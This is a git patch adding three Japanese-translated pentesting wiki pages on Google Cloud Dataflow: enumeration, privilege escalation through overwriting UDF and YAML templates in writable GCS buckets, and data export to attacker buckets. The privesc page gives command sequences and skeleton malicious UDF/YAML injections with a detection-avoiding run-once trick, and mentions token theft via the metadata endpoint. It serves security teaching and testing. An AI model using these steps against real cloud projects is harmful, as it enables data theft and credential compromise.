From a3daab194a90937b1bb5d1ddbf90af03c7d7464a Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Mon, 16 Feb 2026 11:12:37 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

---
 .../gcp-dataflow-post-exploitation.md         |  53 ++++++
 .../gcp-dataflow-privesc.md                   | 171 ++++++++++++++++++
 .../gcp-services/gcp-dataflow-enum.md         |  81 +++++++++
 3 files changed, 305 insertions(+)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow-enum.md

diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md
new file mode 100644
index 000000000..32ee74328
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md
@@ -0,0 +1,53 @@
+# GCP - Dataflow Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Dataflow
+
+For more information about Dataflow check:
+
+{{#ref}}
+../gcp-services/gcp-dataflow-enum.md
+{{#endref}}
+
+### Using Dataflow to exfiltrate data from other services
+
+**権限:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` (ソースとシンクにアクセスできるSAに対して)
+
+Dataflowのジョブ作成権限があれば、GCP Dataflowテンプレートを使用してBigtable、BigQuery、Pub/Subなどのサービスからデータを攻撃者管理のGCSバケットへエクスポートできます。これは、Dataflowアクセスを取得している場合に強力なpost-exploitation手法です — 例えば[Dataflow Rider](../gcp-privilege-escalation/gcp-dataflow-privesc.md)によるprivilege escalation（pipeline takeover via bucket write）など。
+
+> [!NOTE]
+> ソースを読み取り、シンクに書き込むための十分な権限を持つservice accountに対する`iam.serviceAccounts.actAs`が必要です。指定しない場合、デフォルトではCompute Engine default SAが使用されます。
+
+#### Bigtable to GCS
+
+全文のパターンは [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md#dump-rows-to-your-bucket) — "Dump rows to your bucket" を参照してください。テンプレート: `Cloud_Bigtable_to_GCS_Json`, `Cloud_Bigtable_to_GCS_Parquet`, `Cloud_Bigtable_to_GCS_SequenceFile`.
+
+<details>
+
+<summary>Bigtableを攻撃者が管理するバケットへエクスポート</summary>
+```bash
+gcloud dataflow jobs run <job-name> \
+--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
+--project=<PROJECT> \
+--region=<REGION> \
+--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<YOUR_BUCKET>/raw-json/ \
+--staging-location=gs://<YOUR_BUCKET>/staging/
+```
+</details>
+
+#### BigQuery to GCS
+
+BigQuery のデータをエクスポートするための Dataflow templates が用意されています。対象フォーマット（JSON, Avro など）に合ったテンプレートを使い、出力先を自分のバケットに指定します。
+
+#### Pub/Sub and streaming sources
+
+ストリーミングパイプラインは Pub/Sub（またはその他のソース）から読み取り、GCS に書き込むことができます。対象の Pub/Sub サブスクリプションから読み取り、自分が管理するバケットに書き込むテンプレートでジョブを起動します。
+
+## References
+
+- [Dataflow templates](https://cloud.google.com/dataflow/docs/guides/templates/provided-templates)
+- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
+- [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md
new file mode 100644
index 000000000..bf88fb114
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md
@@ -0,0 +1,171 @@
+# GCP - Dataflow Privilege Escalation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Dataflow
+
+{{#ref}}
+../gcp-services/gcp-dataflow-enum.md
+{{#endref}}
+
+### `storage.objects.create`, `storage.objects.get`, `storage.objects.update`
+
+Dataflow は GCS に保存された UDF およびジョブテンプレートの YAML の整合性を検証しません。バケットへの書き込み権限があれば、これらのファイルを書き換えてコードを注入し、workers 上でコードを実行し、service account tokens を窃取したり、データ処理を改ざんしたりできます。batch および streaming pipeline ジョブの両方がこの攻撃の対象になります。パイプラインに対してこの攻撃を実行するには、ジョブ実行前、最初の数分間（job workers が作成される前）またはジョブ実行中に新しい workers がスケールアウトする前（autoscaling による）に UDFs／templates を差し替える必要があります。
+
+**Attack vectors:**
+- **UDF hijacking:** パイプラインで参照され、customer-managed バケットに保存された Python (`.py`) および JS (`.js`) の UDFs
+- **Job template hijacking:** customer-managed バケットに保存されたカスタム YAML パイプライン定義
+
+
+> [!WARNING]
+> **Run-once-per-worker trick:** Dataflow の UDFs と template callables は **per row/line** ごとに呼び出されます。調整なしでは exfiltration や token theft が何千回も走り、ノイズ、rate limiting、および検出を引き起こします。**file-based coordination** パターンを使用してください: 先頭でマーカーファイル（例: `/tmp/pwnd.txt`）が存在するか確認し、存在する場合は悪意のあるコードをスキップ、存在しない場合はペイロードを実行してファイルを作成します。これによりペイロードは **once per worker**、行ごとではなく一回だけ実行されます。
+
+
+#### Direct exploitation via gcloud CLI
+
+1. Enumerate Dataflow jobs and locate the template/UDF GCS paths:
+
+<details>
+
+<summary>List jobs and describe to get template path, staging location, and UDF references</summary>
+```bash
+# List jobs (optionally filter by region)
+gcloud dataflow jobs list --region=<region>
+gcloud dataflow jobs list --project=<PROJECT_ID>
+
+# Describe a job to get template GCS path, staging location, and any UDF/template references
+gcloud dataflow jobs describe <JOB_ID> --region=<region> --full --format="yaml"
+# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH)
+# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath
+```
+</details>
+
+2. GCS から元の UDF またはジョブテンプレートをダウンロードする:
+
+<details>
+
+<summary>bucket から UDF ファイルまたは YAML テンプレートをダウンロードする</summary>
+```bash
+# If job references a UDF at gs://bucket/path/to/udf.py
+gcloud storage cp gs://<BUCKET>/<PATH>/<udf_file>.py ./udf_original.py
+
+# Or for a YAML job template
+gcloud storage cp gs://<BUCKET>/<PATH>/<template>.yaml ./template_original.yaml
+```
+</details>
+
+3. ローカルでファイルを編集する: malicious payloadを注入し（下のPython UDFまたはYAMLスニペットを参照）、run-once coordination patternが使用されていることを確認してください。
+
+4. 再アップロードして元のファイルを上書きする:
+
+<details>
+
+<summary>bucket内のUDFまたはtemplateを上書きする</summary>
+```bash
+gcloud storage cp ./udf_injected.py gs://<BUCKET>/<PATH>/<udf_file>.py
+
+# Or for YAML
+gcloud storage cp ./template_injected.yaml gs://<BUCKET>/<PATH>/<template>.yaml
+```
+</details>
+
+5. 次のジョブ実行を待つか、（streaming の場合は）autoscaling をトリガーする（例：pipeline の入力を大量に流す）ことで、新しい workers が起動して修正済みファイルを pull します。
+
+#### Python UDF injection
+
+worker にデータを C2 サーバへ exfiltrate させたい場合は、`urllib.request` を使用し、`requests` は使用しないでください。  
+`requests` は classic Dataflow workers に preinstalled されていません。
+
+<details>
+
+<summary>単回実行の調整とメタデータ抽出を備えた悪意のある UDF</summary>
+```python
+import os
+import json
+import urllib.request
+from datetime import datetime
+
+def _malicious_func():
+# File-based coordination: run once per worker.
+coordination_file = "/tmp/pwnd.txt"
+if os.path.exists(coordination_file):
+return
+
+# malicous code goes here
+with open(coordination_file, "w", encoding="utf-8") as f:
+f.write("done")
+
+def transform(line):
+# Malicous code entry point - runs per line but coordination ensures once per worker
+try:
+_malicious_func()
+except Exception:
+pass
+# ... original UDF logic follows ...
+```
+</details>
+
+
+#### Job template YAML injection
+
+`MapToFields` ステップを注入し、調整用のファイルを使う callable を含めます。`requests` をサポートする YAML ベースのパイプラインでは、テンプレートが `dependencies: [requests]` を宣言している場合はそれを使用し、そうでなければ `urllib.request` を優先してください。
+
+パイプラインが宛先に有効なデータを書き続けるように、クリーンアップステップ（`drop: [malicious_step]`）を追加します。
+
+<details>
+
+<summary>パイプライン YAML における悪意ある `MapToFields` ステップとクリーンアップ</summary>
+```yaml
+- name: MaliciousTransform
+type: MapToFields
+input: Transform
+config:
+language: python
+fields:
+malicious_step:
+callable: |
+def extract_and_return(row):
+import os
+import json
+from datetime import datetime
+coordination_file = "/tmp/pwnd.txt"
+if os.path.exists(coordination_file):
+return True
+try:
+import urllib.request
+# malicious code goes here
+with open(coordination_file, "w", encoding="utf-8") as f:
+f.write("done")
+except Exception:
+pass
+return True
+append: true
+- name: CleanupTransform
+type: MapToFields
+input: MaliciousTransform
+config:
+fields: {}
+append: true
+drop:
+- malicious_step
+```
+</details>
+
+### Compute Engine から Dataflow Workers へのアクセス
+
+**権限:** `compute.instances.osLogin` または `compute.instances.osAdminLogin`（worker SA に対する `iam.serviceAccounts.actAs` を伴う）、または `compute.instances.setMetadata` / `compute.projects.setCommonInstanceMetadata`（`iam.serviceAccounts.actAs` を伴う） — レガシーな SSH キー注入用
+
+Dataflow workers は Compute Engine の VM として動作します。OS Login または SSH 経由で worker にアクセスすると、メタデータエンドポイント (`http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token`) から SA トークンを読み取ったり、データを操作したり、任意のコードを実行したりできます。
+
+エクスプロイトの詳細については、次を参照：
+- [GCP - Compute Privesc](gcp-compute-privesc/README.md) — `compute.instances.osLogin`, `compute.instances.osAdminLogin`, `compute.instances.setMetadata`
+
+## 参考資料
+
+- [Dataflow Rider: How Attackers can Abuse Shadow Resources in Google Cloud Dataflow](https://www.varonis.com/blog/dataflow-rider)
+- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
+- [gcloud dataflow jobs describe](https://cloud.google.com/sdk/gcloud/reference/dataflow/jobs/describe)
+- [Apache Beam YAML: User-defined functions](https://beam.apache.org/documentation/sdks/yaml-udf/)
+- [Apache Beam YAML Transform Reference](https://beam.apache.org/releases/yamldoc/current/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow-enum.md
new file mode 100644
index 000000000..5f07baab5
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow-enum.md
@@ -0,0 +1,81 @@
+# GCP - Dataflow 列挙
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## 基本情報
+
+**Google Cloud Dataflow** は、**バッチおよびストリーミングデータ処理**のフルマネージドサービスです。組織がスケールでデータを変換・分析するパイプラインを構築でき、Cloud Storage、BigQuery、Pub/Sub、Bigtable と統合されます。Dataflow パイプラインはプロジェクト内のワーカー VM 上で実行され、テンプレートや User-Defined Functions (UDFs) はしばしば GCS バケットに格納されます。[Learn more](https://cloud.google.com/dataflow)。
+
+## コンポーネント
+
+Dataflow パイプラインは通常以下を含みます:
+
+**Template:** パイプライン構造とステップを定義する YAML または JSON の定義（および flex templates 用の Python/Java コード）が GCS に格納されます。
+
+**Launcher (Flex Templates):** Flex Template の起動時にテンプレートを検証し、ジョブ実行前にコンテナを準備するために短期間の Compute Engine インスタンスが使用されることがあります。
+
+**Workers:** 実際のデータ処理タスクを実行する Compute Engine VM で、テンプレートから UDF や指示を取得します。
+
+**Staging/Temp buckets:** 一時的なパイプラインデータ、ジョブアーティファクト、UDF ファイル、flex template メタデータ（`.json`）を保存する GCS バケットです。
+
+## バッチ vs ストリーミング ジョブ
+
+Dataflow は2つの実行モードをサポートします:
+
+**バッチジョブ:** 固定された境界のあるデータセット（例: ログファイル、テーブルのエクスポート）を処理します。ジョブは一度実行されて完了すると終了します。ジョブ期間中にワーカーが作成され、終了時にシャットダウンされます。バッチジョブは通常 ETL、過去データの分析、またはスケジュールされたデータ移行に使用されます。
+
+**ストリーミングジョブ:** 終わりのない継続的に到着するデータ（例: Pub/Sub メッセージ、ライブセンサーフィード）を処理します。ジョブは明示的に停止されるまで実行され続けます。ワーカーは自動スケーリングにより増減し、新しいワーカーは起動時にパイプラインコンポーネント（テンプレート、UDF）を GCS から取得します。
+
+## 列挙
+
+Dataflow ジョブおよび関連リソースを列挙して、サービスアカウント、テンプレートパス、ステージングバケット、UDF の場所を収集できます。
+
+### ジョブ列挙
+
+Dataflow ジョブを列挙して詳細を取得するには:
+```bash
+# List Dataflow jobs in the project
+gcloud dataflow jobs list
+# List Dataflow jobs (by region)
+gcloud dataflow jobs list --region=<region>
+
+# Describe job (includes service account, template GCS path, staging location, parameters)
+gcloud dataflow jobs describe <job-id> --region=<region>
+```
+ジョブの説明には template GCS path、staging location、worker service account が表示され、パイプラインコンポーネントを格納する buckets を特定するのに役立ちます。
+
+### テンプレートとバケットの列挙
+
+ジョブの説明で参照される buckets には、flex templates、UDFs、または YAML pipeline definitions が含まれている可能性があります:
+```bash
+# List objects in a bucket (look for .json flex templates, .py UDFs, .yaml pipeline defs)
+gcloud storage ls gs://<bucket>/
+
+# List objects recursively
+gcloud storage ls gs://<bucket>/**
+```
+## Privilege Escalation
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-dataflow-privesc.md
+{{#endref}}
+
+## Post Exploitation
+
+{{#ref}}
+../gcp-post-exploitation/gcp-dataflow-post-exploitation.md
+{{#endref}}
+
+## Persistence
+
+{{#ref}}
+../gcp-persistence/gcp-dataflow-persistence.md
+{{#endref}}
+
+## 参考資料
+
+- [Dataflow overview](https://cloud.google.com/dataflow)
+- [Pipeline workflow execution in Dataflow](https://cloud.google.com/dataflow/docs/guides/pipeline-workflows)
+- [Troubleshoot templates](https://cloud.google.com/dataflow/docs/guides/troubleshoot-templates)
+
+{{#include ../../../banners/hacktricks-training.md}}